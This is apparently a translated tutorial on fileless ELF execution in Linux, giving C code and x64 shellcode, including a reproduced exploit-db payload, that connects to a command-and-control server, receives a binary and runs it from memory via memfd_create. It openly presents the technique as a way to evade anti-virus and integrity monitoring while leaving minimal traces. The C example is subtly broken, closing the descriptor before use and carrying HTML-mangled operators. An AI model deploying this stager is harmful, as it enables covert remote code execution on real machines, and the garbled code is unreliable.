Linux remotely loads and executes ELF (Executable and Linkable Format) files in memory without touching disk

Using C language to complete the above tasks in a Linux environment requires the following steps:

  1. Read ELF data from socket
  2. Map ELF data into memory
  3. Use memfd_create() to create a file descriptor and write ELF data to the created file descriptor
  4. Use execve() to execute ELF data from /proc/self/fd/

Here is a simple example code that covers the above steps:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <elf.h>
#include <linux/memfd.h>
#include <unistd.h>

#define SIZE 4096

int main() {<!-- -->
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {<!-- -->
        printf("Could not create socket");
        return 1;
    }
    struct sockaddr_in server;
    server.sin_addr.s_addr = inet_addr("127.0.0.1"); // replace with your server IP address
    server.sin_family = AF_INET;
    server.sin_port = htons(8080); // replace with your server port number
    if (connect(sock, (struct sockaddr *) & amp;server, sizeof(server)) < 0) {<!-- -->
        perror("connect failed. Error");
        return 1;
    }

    char buffer[SIZE];
    int total_read = 0;
    int read_size;
    while ((read_size = read(sock, buffer + total_read, SIZE - total_read)) > 0) {<!-- -->
        total_read + = read_size;
    }
    if (total_read <= 0) {<!-- -->
        perror("read failed. Error");
        return 1;
    }

    int fd = memfd_create("elf_data", MFD_CLOEXEC | MFD_ALLOW_SEALING);
    if (fd == -1) {<!-- -->
        perror("memfd_create failed. Error");
        return 1;
    }
    if (write(fd, buffer, total_read) != total_read) {<!-- -->
        perror("write failed. Error");
        return 1;
    }
    if (ftruncate(fd, total_read) == -1) {<!-- -->
        perror("ftruncate failed. Error");
        return 1;
    }
    close(fd);

    void* addr = mmap(NULL, total_read, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0);
    if (addr == MAP_FAILED) {<!-- -->
        perror("mmap failed. Error");
        return 1;
    }
    close(fd);
    char* args[] = {<!-- -->(char*)addr, NULL}; // Assume the ELF data is a program that takes no arguments. Adjust as needed.
    execve("/proc/self/fd/<fd>", args, NULL); // Replace <fd> with the actual file descriptor number. It should be the same as 'fd' in this example. But better to use the actual fd number for robustness.
    perror("execve failed. Error"); // This should only be reached if execve() returns an error. In that case, you might want to munmap() the memory and exit().
    munmap(addr, total_read); // Unmap the memory if execve() fails.
    return 0; // Control should never reach here if execve() is successful.
}

This code example does the following:

  1. Create a socket and connect to the server. In this example, we assume that the server is running locally (IP address 127.0.0.1) and listening on port 8080. In actual application, you need to replace it with the actual IP address and port number of your server. If the connection fails, the program will print an error message and return 1.
  2. Read ELF data from socket. It is assumed here that ELF data is transmitted in 4096-byte blocks, and this value can be adjusted according to the actual situation. At the same time, this example does not deal with the integrity and verification of ELF data. In actual applications, data integrity needs to be ensured. If the read fails, the program will print an error message and return 1.
  3. Use memfd_create() to create a file descriptor and write the read ELF data to this file descriptor. Then use ftruncate() to set the file size. It is assumed here that ELF
  4. Use mmap() to map ELF data into memory. It is assumed here that the ELF data is an executable file and no parameters need to be passed in. If the ELF data is a complex program or script, a more complex execution strategy may be required. Then use execve() to execute ELF data from /proc/self/fd/. Note that you need to replace it with the actual file descriptor number, for example 10. After successful execution, the program should return 0 and return control to the operating system.

Next translated into shellcode:
The first step is to set up a socket for further communication:

push 0x29
pop rax
cdq
push 0x2
pop rdi
push 0x1
pop rsi
syscall

Then connect to our server:

xchg rdi, rax
movabs rcx, C2_addr
pushrcx
mov rsi, rsp
push 0x10
pop rdx
push 0x2a
pop rax
syscall

memfd_create system call:

xor rax, rax
push rax
push rsp
sub rsp, 8
mov rdi, rsp
push 0x13f
pop rax
xor rsi, rsi
syscall

Connect /proc/self/fd/ to our file descriptor

add rsp, 16
mov qword ptr [rsp], 0x6f72702f
mov qword ptr [rsp + 4], 0x65732f63
mov qword ptr [rsp + 8], 0x662f666c
mov qword ptr [rsp + 12], 0x002f64

Use execve to execute our file descriptor:

lea rdi, [rsp]
push 0x3b
pop rax
cdq
push rdx
push rdi
mov rsi, rsp
syscall

Fileless loading of ELF files in Linux is a useful technique when conducting penetration testing. This is a fairly quiet way to protect against various anti-virus protections, control system integrity, and surveillance systems that monitor hard drives for content changes. This way, access targets can easily maintain the system, leaving minimal traces.

The complete shellcode is as follows:
Original address: https://www.exploit-db.com/shellcodes/51693

# Shellcode Title: Linux/x64 - memfd_create ELF loader (170 bytes)
# Shellcode Author: Ivan Nikolsky (enty8080) & Tomas Globis (tomasglgg)
# Tested on: Linux (x86_64)
# Shellcode Description: This shellcode attempts to establish reverse TCP connection, reads ELF length, reads ELF and maps it into the memory, creates memory file descriptor, writes loaded ELF to it and executes. This shellcode can be used for fileless ELF execution, because no data is written to disk
# Blog post: https://blog.entysec.com/2023-04-02-remote-elf-loading/
# Original code: https://github.com/EntySec/Pawn

section.text
global_start

_start:
    ; Set up socket for further communication with C2
    ;
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    push 0x29
    pop rax
    cdq
    push 0x2
    pop rdi
    push 0x1
    pop rsi
    syscall

    ; Connect to the C2 server
    ;
    ; int connect(int sockfd, {<!-- -->
    ; sa_family=AF_INET,
    ; sin_port=htons(8888),
    ; sin_addr=inet_addr("127.0.0.1")
    ; }, 16);

    xchg rdi, rax
    mov rcx, 0x0100007fb8220002
    pushrcx
    mov rsi, rsp
    push 0x10
    pop rdx
    push 0x2a
    pop rax
    syscall

    ; Read ELF length from socket
    ;
    ; read(unsigned int fd, char *buf, 8);

    pop rcx
    push 0x8
    pop rdx
    push 0x0
    lea rsi, [rsp]
    xor rax, rax
    syscall

    ; Save length to r12 and socket descriptor to r13

    pop r12
    push rdi
    pop r13

    ; Create file descriptor for ELF file
    ;
    ; int memfd_create("", 0);

    xor rax, rax
    push rax
    push rsp
    sub rsp, 8
    mov rdi, rsp
    push 0x13f
    pop rax
    xor rsi, rsi
    syscall

    ; Save file descriptor to r14

    push rax
    pop r14

    ; Allocate memory space for ELF file
    ;
    ; void *mmap(NULL, size_t count,
    ; PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    push 0x9
    pop rax
    xor rdi, rdi
    push r12
    pop rsi
    push 0x7
    pop rdx
    xor r9, r9
    push 0x22
    pop r10
    syscall

    ; Save address to the allocated memory space to r15

    push rax
    pop r15

    ; Read ELF file from socket
    ;
    ; recvfrom(int sockfd, void *buf, size_t count, MSG_WAITALL, NULL, 0);

    push 0x2d
    pop rax
    push r13
    pop rdi
    push r15
    pop rsi
    push r12
    pop rdx
    push 0x100
    pop r10
    syscall

    ; Write read ELF file data to the file descriptor
    ;
    ; size_t write(unsigned int fd, const char *buf, size_t count);

    push 0x1
    pop rax
    push r14
    pop rdi
    push r12
    pop rdx
    syscall

    ; Execute ELF from file descriptor
    ;
    ; int execveat(int dfd, const char *filename,
    ; const char *const *argv,
    ; const char *const *envp,
    ; int flags);

    push 0x142
    pop rax
    push r14
    pop rdi
    push rsp
    sub rsp, 8
    mov rsi, rsp
    xor r10, r10
    xor rdx, rdx
    push 0x1000
    pop r8
    syscall